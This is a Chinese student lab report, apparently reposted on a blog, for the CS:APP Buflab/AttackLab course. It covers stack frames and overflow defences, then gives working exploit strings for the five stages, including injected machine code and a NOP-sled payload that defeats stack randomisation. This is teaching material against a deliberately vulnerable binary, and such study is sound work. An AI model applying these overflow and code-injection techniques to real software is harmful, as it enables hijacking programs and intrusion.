【HIT-计算机系统】ICS-Lab4 Buflab/AttackLab

2023-11-02

第1章 实验基本信息

1.1 实验目的

理解C语言函数的汇编级实现及缓冲器溢出原理;

掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法;

进一步熟练使用Linux下的调试工具完成机器语言的跟踪调试。

1.2 实验环境与工具

1.2.1 硬件环境

x64 CPU;1.60GHz;8G RAM;256GHD Disk。

1.2.2 软件环境

Windows10 64位。

1.2.3 开发工具

VM VirtualBox 6.1;Ubuntu 20.04 LTS 64位;

Visual Studio 2019 64位;CodeBlocks 17.12 64位;vi/vim/gedit+gcc。

1.3 实验预习

上实验课前,必须认真预习实验指导书(PPT或PDF)

了解实验的目的、实验环境与软硬件工具、实验操作步骤,复习与实验有关的理论知识。

第2章 实验预习

2.1 请按照入栈顺序,写出C语言32位环境下的栈帧结构(5分)

上一个栈帧

参数N

    . . . . . .

参数2

参数1

返回地址

上一栈帧的ebp

局部变量

2.2请按照入栈顺序,写出C语言64位环境下的栈帧结构(5分)

上一个栈帧

参数N

. . . . . .

参数8

参数7

返回地址

上一栈帧的rbp

局部变量

参数1

参数2

. . . . . .

参数6

2.3请简述缓冲区溢出的原理及危害(5分)

原理:程序在栈中分配某个字符数组来保存一个字符串,假设C对数组引用不进行边界检查,若字符串的长度超过了为数组分配的空间,多出来的内容将覆盖栈中存放其他信息的空间,而系统并不能察觉这些空间被更改,无论这种更改是否是恶意的。

危害:当程序无意中使用这些被错误更改的空间时,由于这些空间的内容不再是原来他们存储的内容,可能会发生严重错误,轻则程序出现错误,重则程序崩溃,甚至黑客还可以可以利用缓冲区溢出有意令程序执行它本来不愿执行的黑客设置的具有恶意的函数,从而完成对计算机的攻击。

2.4请简述缓冲器溢出漏洞的攻击方法(5分)

1.攻击代码使用系统调用启动一个shell程序,给攻击者提供一组操作系统函数;

2.或攻击代码执行一些未授权的任务,修复对栈的破坏,然后第二次执行ret指令,(表面上)正常返回到调用者。

2.5请简述缓冲器溢出漏洞的防范方法(5分)

1.使用安全函数;

2.栈随机化;

3.栈破坏检测(金丝雀/哨兵);

4.限制可执行代码区域(AMD/Intel “NX”);

5.支持变长栈帧。

第3章 各阶段漏洞攻击原理与方法

每阶段25分,文本10分,分析15分,总分不超过80分

3.1 Smoke阶段1的攻击与分析

文本如下:  

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 bb 8b 04 08

分析过程:

在bufbomb的反汇编代码bufbomb.s中找到getbuf函数,分析getbuf的栈帧结构,可知缓冲区分配0x28=40字节空间,为使程序返回到smoke函数,计算函数返回地址位置40(buf)+4(ebp)+4(ret)=48字节,于是将前44字节改为任意数字,将最后四个字节改为smoke函数地址。

如图可知smoke函数地址为08048bbb,按小端法输入顺序为bb 8b 04 08

构造攻击字符串如下:

        攻击成功:

3.2 Fizz的攻击与分析

文本如下:

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 e8 8b 04 08

00 00 00 00 f2 b1 67 59

分析过程:

成功调用fizz函数需要传递参数,即攻击函数参数区,因此既需要找到fizz函数地址,也要找到参数储存的地址。

找到fizz函数反汇编代码,可以看到fizz地址为08048be8,观察到函数中将

eax与edx比较,推测edx为fizz的参数。

可以看到edx从ebp+8处得到值,下面开始分析栈帧结构以获得参数在缓冲区的位置:在getbuf调用完毕后,将栈顶的值esp复制给eip指令寄存器,然后esp+4,esp将值赋给ebp,即在调用getbuf返回后,ebp+4,现在ebp处于原缓冲区栈帧返回地址位置,在ebp+8处得到参数,则可知参数在缓冲区位置为返回地址后8个字节。

下面开始构造攻击字符串:前48字节同smoke函数的攻击,返回地址处存放fizz地址,后八位放参数(cookie)。

通过makecookie获得学号对应cookie,按小端法放入攻击字符串后八位。

攻击成功:

3.3 Bang的攻击与分析

文本如下:

c7 05 60 e1 04 08 f2 b1

67 59 68 39 8c 04 08 c3

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 78 35 68 55

  

分析过程:

对Bang的攻击需要构造含有恶意代码的字符串,将全局变量改为cookie值,因此需要先找到储存全局变量的地址,并编写代码进行修改。

经过观察可知比较的两个值为eax和ebx,无论是否相等,eax在比较结束后被赋值为ebx地址所指向的值。

使用gdb查看地址0x804e158得其为cookie值,则更改的目标地址为0x804e160。

编写恶意代码更改全局变量

编译及反汇编得机器指令

从eax得到缓冲区开始地址0x55683578

编写攻击字符串,返回缓冲区开始地址并从缓冲区开始执行指令

攻击成功

3.4 Boom的攻击与分析

文本如下:

b8 f2 b1 67 59 68 a7 8c

04 08 c3 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

c0 35 68 55 78 35 68 55

分析过程:

要使攻击程序能返回原调用函数test继续执行,需要还原堆栈帧的破坏。

观察反汇编test代码

test调用getbuf后返回到0x8048c9f,可知getbuf栈帧中返回地址为0x8048ca7。test调用getbuf后会保存test的ebp,通过gdb查看test调用getbuf前的edp为0x556835c0,则gutbuf中保存的ebp为0x556835c0。

编写恶意代码boom.s,将cookie作为参数传递给eax,将0x8048ca7设为即将返回的地址。

编译并反汇编得到机器代码,编写攻击字符串boom.txt,使40字节之后分别为ebp和缓冲器开始地址。

攻击成功

3.5 Nitro的攻击与分析

文本如下:

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

       90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

        90 90 90 90 90 90 90 90 90 90 90 90 90 b8 f2 b1

        67 59 8d 6c 24 18 68 21 8d 04 08 c3 98 33 68 55

分析过程:

由于栈帧地址随机变化,想要得到testn的ebp不能通过gdb得到,但由于栈帧中ebp和esp相对位置是确定的,我们可以通过恶意代码利用getbufn的esp得到testn的ebp地址。

通过下图分析可知testn的ebp为getbufn返回前esp+0x18。返回地址为0x8048d21。

编写恶意代码nitro.s

编译并反汇编nitro.o,得到机器指令

由于栈帧地址随机,无法得到缓冲区开始地址。

因为随机栈是连续的,我们只需将无用的栈帧填充为nop(机器码:90),则栈指针在找到可以执行的恶意代码之前持续向下进行寻找,不会做任何动作。则我们将返回地址放在随机栈中足够高的地址,则无论返回到什么位置,栈指针都会向下继续寻找可以执行的代码,并返回到另一个栈帧继续进行寻找。

缓冲区分配空间为0x208字节,加上ebp4字节,返回地址4字节,缓冲区开始位置-0x208(%ebp)。

如图可知缓冲器开始地址大致范围在0x55683398到0x55683318之间,我们将第一次返回地址设为0x55683398。

攻击成功

代码、附件github地址

https://github.com/ChenDolph7in/HITICS-LABS-in-21-Spring/tree/master/Lab4

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【HIT-计算机系统】ICS-Lab4 Buflab/AttackLab 的相关文章

  • Linux 上的 RTLD_LOCAL 和dynamic_cast

    我们有一个由应用程序中的一些共享库构成的插件 我们需要在应用程序运行时更新它 出于性能原因 我们在卸载旧插件之前加载并开始使用新插件 并且只有当所有线程都使用旧插件完成后 我们才卸载它 由于新插件和旧插件的库具有相同的符号 我们dlopen
  • Raspberry 交叉编译 - 执行程序以“分段错误”结束

    我有一个自己编写的程序 我想从我的 x86 机器上为 Raspberry Pi 构建它 我正在使用 eclipse 生成的 makefile 并且无法更改此内容 我已经阅读了 CC for raspi 的教程 Hackaday 链接 htt
  • C:如果文件描述符被删除,阻塞读取应该返回

    我正在以阻塞的方式从设备 文件描述符中读取 可能会发生这样的情况 在不同的线程中 设备被关闭并且文件描述符被删除 不幸的是 读取没有返回或注意到并且一直阻塞 作为一种解决方法 我可以使用 select 作为超时来执行 while 循环 如果
  • 如何将后台作业的输出分配给 bash 变量?

    我想在 bash 中运行后台作业并将其结果分配给一个变量 我不喜欢使用临时文件 并且希望同时运行多个类似的后台任务 root root var echo hello world root root echo var hello world
  • 配置:错误:无法运行C编译的程序

    我正在尝试使用 Debian Wheezy 操作系统在我的 Raspberry Pi 上安装不同的软件 当我运行尝试配置软件时 我尝试安装我得到此输出 checking for C compiler default output file
  • linux下写入后崩溃

    如果我使用 write 将一些数据写入磁盘上的文件会发生什么 但我的应用程序在刷新之前崩溃了 如果没有系统故障 是否可以保证我的数据最终会刷新到磁盘 如果您正在使用write 并不是fwrite or std ostream write 那
  • 在 Linux 上访问 main 之外的主要参数

    是否可以访问参数main在外面main 即在共享库构造函数中 在 Linux 上除了通过解析之外 proc self cmdline 您可以通过将构造函数放入 init array部分 功能在 init array 不像 init 使用相同
  • 如何访问 mmaped /dev/mem 而不导致 Linux 内核崩溃?

    我有一个简单的程序 尝试访问用户空间中的物理内存 其中内核存储第一个结构页 在 64 位机器上 该地址是 内核虚拟地址 ffffea0000000000 物理地址 0000620000000000 我正在尝试通过用户空间中的 mmap 访问
  • dlopen 或 dlclose 未调用信号处理程序

    我在随机时间内收到分段错误 我注册了信号 但发生分段错误时未调用信号处理程序 include
  • 用于编辑 /etc/sudoers 文件的正则表达式模式

    我想删除 etc sudoers 文件中的 uncommnet 轮组 那么我应该使用什么正则表达式模式 cat etc sudoers Allows members of the sys group to run networking so
  • Fortran 中的共享库,最小示例不起作用

    我试图了解如何在 Linux 下的 Fortran 中动态创建和链接共享库 我有两个文件 第一个 liblol f90 看起来像这样 subroutine func print lol end subroutine func 我用它编译gf
  • 如何确定代码是否在信号处理程序上下文中运行?

    我刚刚发现有人正在从信号处理程序调用我编写的绝对不是异步信号安全的函数 所以 现在我很好奇 如何避免这种情况再次发生 我希望能够轻松确定我的代码是否在信号处理程序上下文中运行 语言是 C 但该解决方案不适用于任何语言吗 int myfunc
  • 如何从远程 ssh 连接上运行的 tmux(复制模式)复制到本地剪贴板

    我通过 OS X 上的 VirtualBox 运行 Linux 我通过在无头状态下运行虚拟机 然后使用端口转发 sshing 到 Linux 机器来实现这一点 现在 无论复制到我的虚拟机上的剪贴板 我都可以粘贴到我的远程 ssh 会话上 但
  • ubuntu 的 CSS 更少(并且自动编译)? [关闭]

    很难说出这里问的是什么 这个问题是含糊的 模糊的 不完整的 过于宽泛的或修辞性的 无法以目前的形式得到合理的回答 如需帮助澄清此问题以便重新打开 访问帮助中心 help reopen questions 我尝试过 simples 但现在 l
  • 在 Linux 控制台中返回一行?

    我知道我可以返回该行并用以下内容覆盖其内容 r 现在我怎样才能进入上一行来改变它呢 或者有没有办法打印到控制台窗口中的特定光标位置 我的目标是使用 PHP 创建一些自刷新的多行控制台应用程序 Use ANSI 转义码 http en wik
  • 如何反汇编、修改然后重新组装 Linux 可执行文件?

    无论如何 这可以做到吗 我使用过 objdump 但它不会产生我所知道的任何汇编器都可以接受的汇编输出 我希望能够更改可执行文件中的指令 然后对其进行测试 我认为没有任何可靠的方法可以做到这一点 机器代码格式非常复杂 比汇编文件还要复杂 实
  • 如何列出 nginx 中的所有虚拟主机

    有没有一个命令可以列出 CentOS 上 nginx 下运行的所有虚拟主机或服务器 我想将结果通过管道传输到文本文件以用于报告目的 我正在寻找与我用于 Apache 的命令类似的命令 apachectl S 2 gt 1 grep 端口 8
  • 在非实时操作系统/内核上执行接近实时任务的最佳方法是什么?

    在一台 GNU Linux 机器上 如果想要执行 实时 亚毫秒级时间关键 任务 您几乎总是必须经历漫长 复杂且容易出现问题的内核补丁过程 以提供足够的支持 1 http en wikipedia org wiki RTLinux Backg
  • 如何将 elf 解释器(ld-linux.so.2/ld-2.17.so)构建为静态库?

    如果我的问题不准确 我深表歉意 因为我没有太多 Linux 相关经验 我目前正在构建一个 Linux 从头开始 主要遵循 linuxfromscratch org 版本的指南 7 3 我遇到了以下问题 当我构建可执行文件时 获取一个称为 E
  • dpkg 错误:pycompile:未找到

    sudo apt get remove purge mysql server mysql client mysql common 当我尝试使用上述命令删除 mysql 时 出现以下错误 Reading package lists Done

随机推荐

  • linux中病毒排查步骤,linux系统下病毒排除思路

    1 top查看是否有特别吃cpu和内存的进程 病毒进程kill是杀不死的 因为ps命令被修改 2 ls la proc 病毒进程pid pwd为病毒进程程序目录 一般在 usr bin下 3 bin ps bin netsta程序都是1 2
  • unity3d Object.Destroy 销毁

    static function Destroy obj Object t float 0 0F void Description描述 删除一个游戏物体 组件或者资源 物体obj现在被销毁或在指定了t时间过后销毁 如果obj是组件 它将从Ga
  • 深圳白领集体居家办公 远程办公或成企业新选择

    近日 深圳地区疫情爆发 多个办公大楼被划为封控区 众多白领临时接到居家办公的通知 一批又一批的员工从CBD大楼走出来 大量白领带上电脑显示屏与主机 被网友戏称 跑毒 带主机回家办公 成为突发疫情下众多人的无奈选择 远程办公成常态化 远程产品
  • STM32HAL库-移植mbedtls开源库示例(二)

    概述 本篇文章介绍如何使用STM32HAL库 这篇文章只要是讲如何使用mbedtls开源库 实现 1 base64编码 2 AES加解密示例 怎么样移植mbedtls开源库 请阅读我写的一篇文章 STM32HAL库 移植mbedtls开源库
  • ucharts饼状图文字过长超出屏幕不显示问题

    项目场景 在项目中通过饼状图对获取到的数据进行一个显示 问题描述 通过ucharts中的饼状图来进行数据的显示 通过labelText属性自定义饼状图标签文字 但发现有些数据太长 超出屏幕无法显示 如图 解决方案 1 可以进行饼状图半径的缩
  • Scanvenger游戏制作笔记(九)Unity3D创建声音

    Scanvenger游戏制作笔记 九 Unity3D创建声音 前言 一 在GameManager 上创建audio source 播放背景音乐 二 创建其他声音 三 将audioSource拖入efx source中 四 停止背景音乐 系列
  • springboot中Instant时间传参及序列化

    在部分场景中 后台的时间属性用的不是Date或Long 而是Instant Java8引入的一个精度极高的时间类型 可以精确到纳秒 但实际使用的时候不需要这么高的精确度 通常到毫秒就可以了 而在前后端传参的时候需要对Instant类型进行序
  • Vue教程(二):数据代理和事件处理

    1 数据代理 数据代理 通过obj2操作obj1的对象
  • 写给萌新的mmdet

    写给萌新的mmdet 本文简称mmdetection为mmdet 安装是劝退新入坑的小伙伴的大老虎 一般按照官方readme安装一遍 然后发现运行官方demo报错 网上搜了半天 试了一些奇怪的命令发现没用 只能删除环境 重新再装一遍 然后报
  • QT笔记:QT 窗口关闭 程序进程不退出

    最近在做一个工具用于控制mcu 这其中肯定就需要open端口 所以不能同时打开一个设备 所以在发布程序后 打开设备后关闭QT的UI界面 再次打开程序进行连接设备的时候出现open设备失败的问题 第一次打开设备 关闭应用再次连接设备 后面查看
  • SpringBoot对接小程序微信支付

    目录 前言 一 准备工作 2 1 企业微信小程序开通 2 1 1 获取开发者ID 2 1 2 开通支付功能 2 1 3 关联商户号 2 2 企业商户号的开通 2 2 1 获取商户号mch id 2 2 2 获取商户API密钥mch key
  • I帧、P帧和B帧的特点

    I帧 帧内编码帧 I帧特点 1 它是一个全帧压缩编码帧 它将全帧图像信息进行JPEG压缩编码及传输 2 解码时仅用I帧的数据就可重构完整图像 3 I帧描述了图像背景和运动主体的详情 4 I帧不需要参考其他画面而生成 5 I帧是P帧和B帧的参
  • 李沐论文精读系列三:MoCo、对比学习综述(MoCov1/v2/v3、SimCLR v1/v2、DINO等)

    文章目录 一 MoCo 1 1 导言 1 1 1 前言 1 1 2 摘要 1 1 3 导言 1 2 相关工作 1 2 1 SimCLR 端到端的学习方式 Inva Spread也是 1 2 2 memory bank InstDisc模型
  • MySql下最好用的数据库管理工具是哪个?

    维基上有个很全的列表 https en wikipedia org wiki Comparison of database tools 1 phpmyadmin 用过3 9版 UTF 8 中文不显示 2 HeidiSQL 7 0 不错 以前
  • 关于CoInitialize()

    在msdn中对于CoInitialize的解释如下 Initializes the COM library on the current apartment and identifies the concurrency model as s
  • ADC基本原理

    ADC基本原理 1 ADC即为典型的模拟数字转换器将模拟信号转换为表示一定比例电压值的数字信号 2 对于32 1 ADC转换时间 最大转换速率 1us 最大转换速度为1MHz 在ADCCLK 14M 采样周期为1 5个ADC时钟下得到 2
  • f2fs文件系统 CP介绍

    前言 在前面的介绍中 f2fs保证一致性有两种方法 前滚恢复和后滚恢复 前滚恢复需要配合fsync流程使用 先不进行介绍 而后滚恢复就是本章节需要介绍的CheckPoint相关内容 所谓的文件系统一致性 可以简单类比交易操作 即交易双方中一
  • Selenium成长之路-08简单对象定位之class name方法

    class name 的定位方法与tag name 是差不多的 我们直接上代码 还是以百度首页输入框为例来进行演示 从截图中可以看出来 class name 就是 s ipt 下面我们就通过class name元素来进行定位 coding
  • Finding the Control Points of a Bezier Curve

    原文链接 https blog sklambert com finding the control points of a bezier curve Finding the Control Points of a Bezier Curve
  • 【HIT-计算机系统】ICS-Lab4 Buflab/AttackLab

    第1章 实验基本信息 1 1 实验目的 理解C语言函数的汇编级实现及缓冲器溢出原理 掌握栈帧结构与缓冲器溢出漏洞的攻击设计方法 进一步熟练使用Linux下的调试工具完成机器语言的跟踪调试 1 2 实验环境与工具 1 2 1 硬件环境 x64